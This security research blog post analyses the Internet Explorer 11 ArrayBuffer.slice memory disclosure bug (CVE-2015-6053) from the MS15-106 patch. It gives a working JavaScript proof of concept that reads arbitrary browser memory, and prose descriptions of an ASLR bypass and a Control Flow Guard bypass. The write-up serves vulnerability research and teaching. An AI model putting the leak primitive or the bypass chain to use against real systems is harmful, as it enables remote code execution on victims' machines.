Exploiting Internet Explorer’s MS15-106, Part II: JScript ArrayBuffer.slice Memory Disclosure (CVE-2015-6053)

June 14, 2016

This is the second installment of a blog series titled "Exploiting Internet Explorer's MS15-106". If you haven't read part one, I recommend you to do so before starting with this second part.

As mentioned in the previous blog post, in October 13, 2015 Microsoft published security bulletin MS15-106, addressing multiple vulnerabilities in Internet Explorer. So far, we've explained how to exploit a type confusion vulnerability in the Filter function of the VBScript engine in order to hijack the execution flow of Internet Explorer. However, we need to bypass ASLR before trying to execute arbitrary code on the vulnerable browser. Using that same vulnerability to bypass ASLR turned out to be rather difficult, so let's see how to exploit another vulnerability, which was also addressed in the same MS15-106 bulletin, in order to bypass address space layout randomization. We are talking about JScript ArrayBuffer.slice Information Disclosure Vulnerability (CVE-2015-6053), which is described in Zero Day Initiative's advisory ZDI-15-518.

Quoting ZDI's advisory:

The specific flaw exists within the implementation of the ArrayBuffer.slice method. By supplying specially 
crafted parameters, an attacker can read the contents of arbitrary memory locations. An attacker can use 
this information in conjunction with other vulnerabilities to execute code in the context of the process.

Binary diffing

I started by binary diffing jscript9.dll 5.8.9600.18036 (the vulnerable version) against jscript9.dll 5.8.9600.18052 (the fixed version). As I did in the previous post, I'll be working with IE 11 for Windows 8.1 x64.

The ZDI advisory states that the vulnerability is related to the ArrayBuffer.slice method in JavaScript. By binary diffing the vulnerable version against the patched version of the affected DLL, we can confirm that Js::ArrayBuffer::EntrySlice() is one of the functions being patched:

(Click to enlarge)

diff_table

This is the MSDN’s description of the ArrayBuffer.slice method:

slice_method

This is the overview of the function diff:

(Click to enlarge – Left: vulnerable version / Right: Patched version)

side_to_side

Let's zoom into the Js::ArrayBuffer::EntrySlice() function diff. Pay attention to the red basic blocks shown below.

(Click to enlarge – Left: vulnerable version / Right: Patched version)

EntrySlice_patch

As we can see in the red blocks on the right side, there's an additional check in the Js::ArrayBuffer::EntrySlice() method: the patched version checks the byte at offset 0x10 of the ArrayBuffer object, and if it's different than 0 then it raises a TypeError exception.

But... what is the member at offset 0x10 of an ArrayBuffer object?
Well, looking at the methods of the Js::ArrayBuffer class, I saw that the different constructors of the class initialize the byte @ offset 0x10 with value 0, while the Js::ArrayBuffer::CreateNeuteredState() method sets the byte @ offset 0x10 to the value it receives as a parameter:

createneuteredstate

So the byte @ offset 0x10 indicates whether the ArrayBuffer is neutered or not. That means that the patched version will raise a TypeError exception when trying to apply the slice() method on a neutered ArrayBuffer.

After realizing the meaning of the patch, I immediately recalled that there was a bug fitting a very similar description which was used to exploit Firefox at Pwn2Own 2014: https://bugzilla.mozilla.org/show_bug.cgi?id=982974

Neutering an ArrayBuffer

So, what exactly is a neutered ArrayBuffer?

As explained here, "When an ArrayBuffer is transferred from one thread to another, the ArrayBuffer on the origin thread is neutered --- i.e. its length becomes zero; its element buffer is detached and ownership transferred to the destination thread; and on the destination thread a new ArrayBuffer object is created wrapping the transferred element buffer. The contents of the element buffer are not copied."

So in other words, when an ArrayBuffer is neutered, its size becomes 0, and the pointer to the raw data is set to NULL. Neutering of an ArrayBuffer can be achieved by transferring its ownership from one Web Worker to another.

The next question is: how can we transfer ownership of an ArrayBuffer from one Web Worker to another? Quoting from http://www.html5rocks.com/en/tutorials/webgl/typed_arrays/:

Transferable objects in postMessage make passing binary data to other windows and Web Workers a great 
deal faster. When you send an object to a Worker as a Transferable, the object becomes inaccessible in 
the sending thread and the receiving Worker gets ownership of the object. This allows for a highly 
optimized implementation where the sent data is not copied, just the ownership of the Typed Array is 
transferred to the receiver.

To use Transferable objects with Web Workers, you need to use the webkitPostMessage method on the 
worker.The webkitPostMessage method works just like postMessage, but it takes two arguments instead 
of just one.The added second argument is an array of objects you wish to transfer to the worker.

`worker.webkitPostMessage(oneGBTypedArray, [oneGBTypedArray]);`

So far we know that we can create an ArrayBuffer, then transfer its ownership to a Web Worker using postMessage() so our ArrayBuffer becomes neutered (size = 0, ptr to raw data = 0).

But where's the vulnerability? Well, IE does the same as Firefox when implementing the ArrayBuffer.slice() method. It starts by saving the current valid byteLength of the ArrayBuffer:

save_valid_bytelength

Then, when the arguments of the ArrayBuffer.slice() method are not of primitive types, the valueOf() method of the given objects received as arguments is called. This happens inside the Js::ArrayBuffer::GetIndexFromVar() method, if needed.

call_getindexfromvar

The exploitation idea, as explained in the Firefox Pwn2Own writeup, is to take advantage of the fact that attacker-controlled JS code (the valueOf() method of attacker-controlled objects) is called from native code in these two spots, in order to (unexpectedly) neuter the ArrayBuffer in the middle of the Js::ArrayBuffer::EntrySlice() function. This way we create an inconsistency between the correct byteLength value that was saved earlier on this function, and the neutered state after the 2 calls to Js::ArrayBuffer::GetIndexFromVar().

By the way, this is another example of attacks against ECMAScript engines with redefinition, as described by Natalie Silvanovich in her Black Hat 2015 presentation.

After the ArrayBuffer object has been unexpectedly neutered in the middle of the Js::ArrayBuffer::EntrySlice() method, this method tries to creates a slice from the neutered ArrayBuffer:

create_slice_memcpy

The actual arguments for memcpy() are detailed below:

  • dst will be the ptr_to_raw_data field of a newly created ArrayBuffer (the new ArrayBuffer object that will be returned by ArrayBuffer.slice())
  • src will be ptr_to_raw_data + start_argument
  • size will be end_argument - start_argument

Note that the problem lays in the 'src' parameter: since the ArrayBuffer has been unexpectedly neutered, 'src' will be calculated as ptr_to_raw_data + start_argument = 0 + start_argument. That results in a call to memcpy(new_arraybuffer, arbitrary_src, arbitrary_size), so that means that we can disclose arbitrary memory contents of the browser process.

Also note that start_argument and end_argument are properly checked against the original byteLength of the ArrayBuffer; that means that, in order to leak memory from an arbitrary address X, the byteLength of the crafted ArrayBuffer must be greater than X bytes in size. Let's say that we want to read 4 bytes from address 0x1a1b2000. We'll need to do something like this:

var address = 0x1a1b2000;

/* Size of the ArrayBuffer must be greater than the 'start' and 'end' arguments for slice() */
var arrbuf = new ArrayBuffer(address + 0x10);

/* The 'Trigger' object implements the valueOf() method, which neuters arrbuf in the middle of the 
slice() operation, and finally returns the end offset (address+4). */
var trigger = new Trigger(address + 4, arrbuf);

/* Trigger the vulnerability. Note that the 2nd argument isn't a primitive value but an object.
slice() will return a new ArrayBuffer object containing a copy of the 4 bytes stored @ address 0x1a1b2000 */
var kslice = arrbuf.slice(address, trigger);

/* Finally, create a DataView on the new ArrayBuffer object and read a dword from it. Bingo! */
var leaked_dword= new DataView(kslice).getUint32(0, true);

Proof of Concept

Let's move on to the Proof of Concept code. This is the code for the index.html file:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>MS15-106 PoC (CVE-2015-6053)</title>
    <script type="text/javascript" src="exploit.js"></script>
</head>
<body>
    <h1>MS15-106 PoC (CVE-2015-6053)</h1>

    <div>

        <div>
            <fieldset>
                <button id="workersButton">Transfer/neuter ArrayBuffer</button>
                <div id="outputBoxWorkers"></div>
            </fieldset>
        </div>
    </div>

</body>
</html>

This is the code for exploit.js, which implements the exploit logic. Basically, when you click the "Transfer/neuter ArrayBuffer" button, leak_dword(0xffff) is called. The leak_dword() function receives a memory address as a parameter, and it uses the vulnerability detailed in this post to read 4 bytes from the given memory address. In this case the address is 0xffff, in order to purposely hit unmapped memory and trigger an access violation exception, for demonstration purposes.

The most interesting part here is the code of the Trigger class. Its constructor receives the end offset for the slice, as well as an instance of an ArrayBuffer as parameters.
This class also implements the valueOf() method, which, when called from the middle of the Js::ArrayBuffer::EntrySlice() native function, will neuter the ArrayBuffer by transferring its ownership to a new Web Worker, and finally return the end offset for the slice.

Also note how the leak_dword() function calls the vulnerable slice() method with an instance of the Trigger class as the second parameter.

(function () {
    var the_worker = null; // Will contain a reference to a Web Worker "thread".

    function initialize() {
        document.getElementById('workersButton').addEventListener('click', handle_workersButton, false);
}

    document.addEventListener("DOMContentLoaded", initialize, false);


function Trigger(end_offset, arrbuf){
this.end_offset = end_offset;
this.arrbuf = arrbuf;
}

/* This method gets called from the middle of the Js::ArrayBuffer::EntrySlice() native function */
Trigger.prototype.valueOf = function() {
this.neuter_arraybuffer();
return this.end_offset;
}

    Trigger.prototype.neuter_arraybuffer = function() {
      if (the_worker) {
        the_worker.terminate();
        the_worker = null; // Allow the garbage collector to clean up the Web Worker object.           
      }

      the_worker = new Worker('the_worker.js');

      the_worker.onmessage = function(evt) {
        if (evt.data.msg){
            document.getElementById('outputBoxWorkers').innerHTML = evt.data.msg;
}

      }
      /* Neuter the ArrayBuffer by transferring its ownership to a new Web Worker */
      the_worker.postMessage(this.arrbuf, [this.arrbuf]);

    }

    /* Returns a 32-bit integer with the leaked dword value */
    function leak_dword(address){
var arrbuf = new ArrayBuffer(address + 0x10);
var trigger = new Trigger(address + 4, arrbuf);
var kslice = arrbuf.slice(address, trigger);
return new DataView(kslice).getUint32(0, true);
    }


function handle_workersButton(){
var trampoline_addr = leak_dword(0xffff);
}

})();

And finally we have the code for the dummy Web Worker (the_worker.js):

self.onmessage = function(evt) {
  var arrbuf = evt.data;
}

If you run this PoC with the debugger attached to the browser process, you’ll see that IE crashes inside memcpy(), when trying to read data from our arbitrary address 0xffff:


(84c.8ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for msvcrt.dll -
msvcrt!memcpy+0x52:
7785b3f2 8b448efc mov eax,dword ptr [esi+ecx*4-4] ds:002b:0000ffff=????????

 

Bypassing ASLR

As you could see, the PoC shown above will crash the IE process when trying to read memory contents from unmapped address 0xffff. When writing the full exploit, you'll want to leak something useful from a known address. Since IE runs its 32-bit version by default even on 64-bit versions of Windows, I used Yuki Chen's array spraying technique from his ExpLib2 library in order to put an arbitrary object at a predictable memory address. In particular, I used Yuki's spraying technique to place an ArrayBuffer instance at a predictable heap address, then I used the memory disclosure bug to leak the address of its vtable (jscript9!Js::JavascriptArrayBuffer::`vftable'). This way I was able to obtain the base address of the jscript9.dll module, thus bypassing ASLR.

The base address of jscript9.dll is then passed on to the second stage of the exploit (that is, the type confusion vulnerability in VBScript's Filter function leading to Remote Code Execution, as explained in the previous blog post).

One interesting thing here is that this memory disclosure vulnerability affects IE 11 only, since the vulnerable ArrayBuffer.slice() method isn't available in earlier versions of the browser. So exploitation of this memory disclosure vuln must be performed in IE 11 document mode. At the same time, VBScript is no longer supported in IE 11 edge mode, so triggering the VBScript vulnerability requires us to switch to IE 10 document mode.

So far we've circumvented ASLR, we also have our second vulnerability ready to give us EIP control through an indirect call, but we still need to bypass the last hurdle at that point: Control Flow Guard.

Bypassing Control Flow Guard

As it's been explained several times, Control Flow Guard protects indirect calls by placing a call to a validation function (ntdll!LdrpValidateUserCallTarget) before them.
The compiler places a call to the CFG validation function before every indirect call it can detect at compile time. Last year I published a CFG bypass technique that took advantage of the presence of unguarded indirect calls in the code emitted at runtime by Adobe Flash's JIT compiler (issue which has already been addressed, by the way).

So this time, I asked myself this question: Is it possible to find indirect calls left unguarded by the Visual C++ compiler in a given binary?

You definitely don't want to check that by hand, so I wrote an IDAPython script to do the work for me. This script will traverse the whole code of a given binary, looking for indirect calls and jumps, and it will keep track of those which are not preceded by a call to the CFG validation function. Once it has obtained a list of unguarded indirect calls/jumps, the script will retain only those indirect calls/jumps which belong to functions marked as valid targets for CFG.

As you may guess at this point, assuming that we have the ability to call an arbitrary address from a CFG-guarded indirect call, the bypass plan is to call a function identified as valid by CFG, which contains an unguarded indirect call/jump, in the hope that in the middle of that function we can somehow control the target address for that unprotected call/jump.

After some manual analysis on top of the results given by the script, the best candidate turned out to be this function:

ensuredynamicprofileinfothunk_v3

Look at the code of the Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk() function. It calls the function pointer returned by Js::DynamicProfileInfo::EnsureDynamicProfileInfo() (JMP EAX, circled in red), without performing the CFG check, so it meets one of the conditions we're looking for.
But Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk() is NOT marked as a valid target for CFG, so it does not meet the other condition we need. But today is our lucky day, and it turns out that the sub_10162CE0 function (highlighted in green), is indeed marked as a valid target for CFG, and as you can see it's composed of a single, harmless MOV EAX, EAX instruction, so it just "slides" into the Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk() function!

But we're even luckier: the value that is pushed as an argument when calling Js::DynamicProfileInfo::EnsureDynamicProfileInfo() (which, as shown by IDA, is supposed to be a pointer to a Js::ScriptFunction object), happens to be fully controlled by us! Just as a reminder of why this happens, I'm including the following code snippet from the previous blog post, showing the VBScript.dll code where we take control of the execution flow. As can be seen at VAR::ObjGetDefault + 0x6b, a value fully controlled by us is pushed onto the stack before performing the indirect call.

objgetdefault-icall

That means that we can provide a pointer to a fake Js::ScriptFunction object as an argument for Js::DynamicProfileInfo::EnsureDynamicProfileInfo(). Js::DynamicProfileInfo::EnsureDynamicProfileInfo() will dereference a chain of pointers using our malicious pointer as the starting point, so it turns out that by carefully crafting that chain of pointers (hint: Yuki Chen's spraying technique is your friend), we can make this function return an arbitrary function pointer, which is then called through the unguarded JMP EAX instruction highlighted before.

To sum it up: when triggering the VBScript type confusion bug, we make the CFG-protected CALL [ESI] instruction call the jscript!sub_10162CE0 dummy function. That function, which is a valid target for CFG, will just "slide" into Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk(). We have full control over the pointer parameter that is pushed when Js::DynamicProfileInfo::EnsureDynamicProfileInfo() is called, and by carefully crafting a chain of pointers we can make this function return the address of our first ROP gadget. The address of our first ROP gadget is then called through an unguarded JMP EAX instruction, so that's it! We have bypassed CFG and achieved code execution.

One final note: We've exchanged a couple of emails with the Microsoft Security Response Center (MSRC) team regarding this bypass, and they pointed out that this kind of thunk has been previously abused to bypass CFG in the Chakra JS engine on Edge, as explained in this blog post by Tencent.
The Tencent guys used the Js::JavascriptFunction::DeferredParsingThunk() function to bypass CFG, while we used Js::DynamicProfileInfo::EnsureDynamicProfileInfoThunk() instead; the code of these two thunks is almost the same, though. Another difference is that they used a write primitive to overwrite a function pointer contained in a legit Js::ScriptFunction object, while in my case, lacking a write primitive, I had to use Yuki Chen's spraying technique to put a fake Js::ScriptFunction object at a predictable heap address. A third difference is that we reached the thunk containing the unguarded JMP EAX by altering the normal execution flow and directly jumping to the thunk (or to the dummy function right before it, to be precise) through a CFG-protected indirect call in the VBScript.dll module, while the Tencent team reached their thunk of choice by following the normal execution flow of the JS engine when a call to a JavaScript function is performed.
It's worth noting that these thunks have already been fixed in Chakra.dll, so this CFG bypass technique, as-is, doesn't work anymore for the Edge browser.

  • Latest from CoreLabs

Suggested reads

Ready for a Demo?

Eliminate identity-related breaches with SecureAuth!